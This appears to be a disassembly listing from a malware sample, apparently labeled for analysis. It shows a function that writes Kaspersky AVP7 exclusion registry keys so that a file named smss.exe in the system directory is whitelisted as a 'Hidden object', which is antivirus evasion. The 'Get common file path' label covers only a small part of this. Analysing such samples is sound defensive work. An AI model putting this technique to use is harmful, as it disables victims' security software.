Function at 0x4024ad
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ec
push ebx
push esi
lea eax, [ebp - 0x18]
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push eax
mov esi, 0x80000002
push str.SOFTWAREKasperskyLabprotectedAVP7profilesAVService_settingsExcludes0000Object
push esi
call edi
lea eax, [ebp - 0x14]
mov ebx, str.SOFTWAREKasperskyLabprotectedAVP7profilesAVService_settingsExcludes0000TaskList
push eax
push ebx
push esi
call edi
lea eax, [ebp - 0x1c]
push eax
push str.SOFTWAREKasperskyLabprotectedAVP7profilesAVService_settingsExcludes0000VerdictPath
push esi
call edi
mov al, byte [0x40b244]
push 0x3f
mov byte [ebp - 0x1ec], al
pop ecx
xor eax, eax
lea edi, [ebp - 0x1eb]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x1ec]
push 0x100
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x1ec]
push str._smss.exe
push eax
call sub.MSVCRT.dll_strcat
mov dl, byte [0x40b244]
push 0xc
pop ecx
xor eax, eax
lea edi, [ebp - 0x83]
mov byte [ebp - 0x84], dl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0x4f]
mov byte [ebp - 0x50], dl
push 0xc
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
pop ecx
xor eax, eax
lea edi, [ebp - 0xb7]
mov byte [ebp - 0xb8], dl
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
push 0xc
xor eax, eax
pop ecx
lea edi, [ebp - 0xeb]
mov byte [ebp - 0xec], dl
push str.Mask
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
lea eax, [ebp - 0x84]
push eax
call sub.MSVCRT.dll_strcpy
mov edi, str.Recurse
lea eax, [ebp - 0x50]
push edi
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x1ec]
push eax
lea eax, [ebp - 0x84]
push eax
push str.SOFTWAREKasperskyLabprotectedAVP7profilesAVService_settingsExcludes0000Object
push esi
call fcn.00402457
and dword [ebp - 0xc], 0
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x50]
push eax
push str.SOFTWAREKasperskyLabprotectedAVP7profilesAVService_settingsExcludes0000Object
push esi
call fcn.00402409
lea eax, [ebp - 0x84]
push str.0000
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x40
lea eax, [ebp - 0x50]
push str.0001
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0xb8]
push str.0002
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x84]
push 0x40a470
push eax
push ebx
push esi
call fcn.00402457
lea eax, [ebp - 0x50]
push 0x40a46c
push eax
push ebx
push esi
call fcn.00402457
lea eax, [ebp - 0xb8]
push 0x40a468
push eax
push ebx
push esi
call fcn.00402457
add esp, 0x40
lea eax, [ebp - 0x84]
push str.Mask
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x50]
push edi
push eax
call sub.MSVCRT.dll_strcpy
mov ebx, 0x40b244
lea eax, [ebp - 0x84]
push ebx
mov edi, str.SOFTWAREKasperskyLabprotectedAVP7profilesAVService_settingsExcludes0000VerdictPath
push eax
push edi
push esi
call fcn.00402457
lea eax, [ebp - 4]
mov dword [ebp - 4], 1
push eax
lea eax, [ebp - 0x50]
push eax
push edi
push esi
call fcn.00402409
lea eax, [ebp - 0x84]
push str.Enable
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 0x50]
push str.Triggers
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0x40
lea eax, [ebp - 0xb8]
push str.Description
push eax
call sub.MSVCRT.dll_strcpy
push str.VerdictMask
lea eax, [ebp - 0xec]
push eax
call sub.MSVCRT.dll_strcpy
lea eax, [ebp - 8]
mov edi, str.SOFTWAREKasperskyLabprotectedAVP7profilesAVService_settingsExcludes0000
push eax
lea eax, [ebp - 0x84]
push eax
push edi
push esi
mov dword [ebp - 8], 1
mov dword [ebp - 0x10], 7
call fcn.00402409
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x50]
push eax
push edi
push esi
call fcn.00402409
lea eax, [ebp - 0xb8]
push ebx
push eax
push edi
push esi
call fcn.00402457
add esp, 0x40
lea eax, [ebp - 0xec]
push str.Hidden_object
push eax
push edi
push esi
call fcn.00402457
add esp, 0x10
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret